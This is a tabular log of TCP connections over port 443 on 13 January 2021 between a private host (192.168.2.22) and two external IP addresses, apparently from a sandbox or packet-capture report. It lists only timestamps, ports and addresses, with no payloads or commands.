Jan 13, 2021 13:44:30.451997995 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.452075005 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.452872992 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.452897072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.452922106 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.452965975 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.453814030 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.453838110 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.453854084 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.453901052 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.454786062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.454804897 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.454827070 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.454931974 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.454957962 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.455714941 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.455733061 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.455754042 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.455786943 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.456630945 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.456655979 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.456679106 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.456691980 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.456764936 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.457525015 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.457544088 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.457566023 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.457602024 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.458494902 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.458519936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.458543062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.458569050 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.458610058 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.459357977 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.459374905 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.459394932 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.459430933 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.460340023 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.460357904 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.460380077 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.460400105 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.460449934 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.461282015 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.461308956 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.461330891 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.461374998 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.462296009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.462321043 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.462343931 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.462380886 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.463110924 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.463136911 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.463156939 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.463222027 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.464041948 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.464066029 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.464087009 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.464154959 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.465132952 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.465249062 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.465267897 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.465358973 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.465944052 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.465969086 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.466011047 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.466023922 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.466897011 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.466926098 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.466949940 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.466996908 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.467818975 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.467839003 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.467850924 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.467921972 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.468698978 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.468724966 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.468749046 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.468817949 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.469604015 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.469630957 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.469652891 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.469690084 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.470652103 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.470681906 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.470704079 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.470743895 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.471528053 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.471553087 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.471573114 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.471618891 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.471646070 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.472412109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.472440004 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.472460032 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.472517967 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.473361015 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.473409891 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.473437071 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.473505020 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.474384069 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.474412918 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.474436998 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.474481106 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.475390911 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.475474119 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.533704996 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533759117 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533776999 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533796072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533813953 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533838987 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533855915 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.533864021 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533883095 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.533885956 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.533900976 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534029007 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534039974 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534166098 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534190893 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534212112 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534231901 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534233093 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534256935 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534600973 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534632921 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534653902 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534677982 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534683943 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534698963 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534701109 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534724951 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534740925 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.534749031 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534770012 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534794092 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.534811974 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.535501003 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535531044 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535556078 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535572052 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.535579920 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535594940 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.535604000 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535693884 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.535695076 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535820007 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535867929 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.535924911 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.535980940 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536027908 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536147118 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536171913 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536195993 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536217928 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536241055 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536243916 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536267996 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536290884 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536293030 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536314011 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536336899 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536340952 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536374092 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536725044 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536838055 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.536943913 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.536967039 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537056923 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537115097 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.537185907 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537316084 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537429094 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537470102 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.537489891 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.537940025 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.538014889 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.538927078 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.538957119 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.538979053 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539000034 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539026022 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539031029 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539041996 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539047956 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539072037 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539087057 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539096117 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539122105 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539139986 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539146900 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539170980 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539192915 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539213896 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539215088 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539222956 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539237022 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539254904 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539259911 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539280891 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539294958 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.539308071 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539331913 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.539377928 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540158033 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540184021 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540205956 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540226936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540249109 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540252924 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540276051 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540297031 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540302992 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540327072 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540349007 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540379047 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540544987 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540569067 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540590048 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540612936 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540623903 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540637016 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540657997 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540679932 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540685892 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540709019 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.540725946 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.540731907 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541450024 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.541503906 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541532993 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541553974 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541591883 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.541738987 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541764021 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541785955 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541810989 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541826963 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.541836977 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541862965 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541884899 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.541886091 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541912079 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541934013 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.541955948 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.542706966 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542732000 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542748928 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542797089 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.542798996 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542812109 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.542823076 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542867899 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542869091 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.542892933 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542913914 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542934895 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.542938948 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.542979002 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.543662071 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543689013 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543711901 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543735027 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543751955 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.543756962 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543780088 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543793917 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.543802977 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543828964 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.543847084 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.543852091 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544506073 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.544677973 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544708014 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544723988 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544742107 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544760942 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.544764996 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544775963 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.544790983 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544814110 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544836044 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544855118 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.544858932 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.544909954 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.545761108 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545789957 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545814037 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545840025 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545841932 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.545862913 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545882940 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545902967 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545922041 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.545938015 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.546013117 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.546608925 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.546634912 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.546657085 CET	443	49174	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:30.546690941 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:30.775115013 CET	49174	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:31.573801041 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.575531006 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.621560097 CET	443	49168	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.621633053 CET	49168	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.623359919 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.623464108 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.667151928 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.715514898 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.715749979 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.715845108 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.762049913 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.810003996 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.811081886 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.869353056 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.917361975 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.917584896 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.917602062 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.917628050 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.917644978 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.917670965 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.917676926 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.917758942 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.926136971 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.968523026 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:31.974253893 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:31.975440979 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:32.003815889 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:32.022175074 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:32.051620960 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:32.053040981 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:32.053112984 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:32.053124905 CET	443	49176	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:32.053147078 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:32.053167105 CET	49176	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:32.448400021 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:32.501573086 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.159832954 CET	443	49178	108.177.127.132	192.168.2.22
Jan 13, 2021 13:44:33.160887957 CET	49178	443	192.168.2.22	108.177.127.132
Jan 13, 2021 13:44:33.165819883 CET	443	49178	108.177.127.132	192.168.2.22
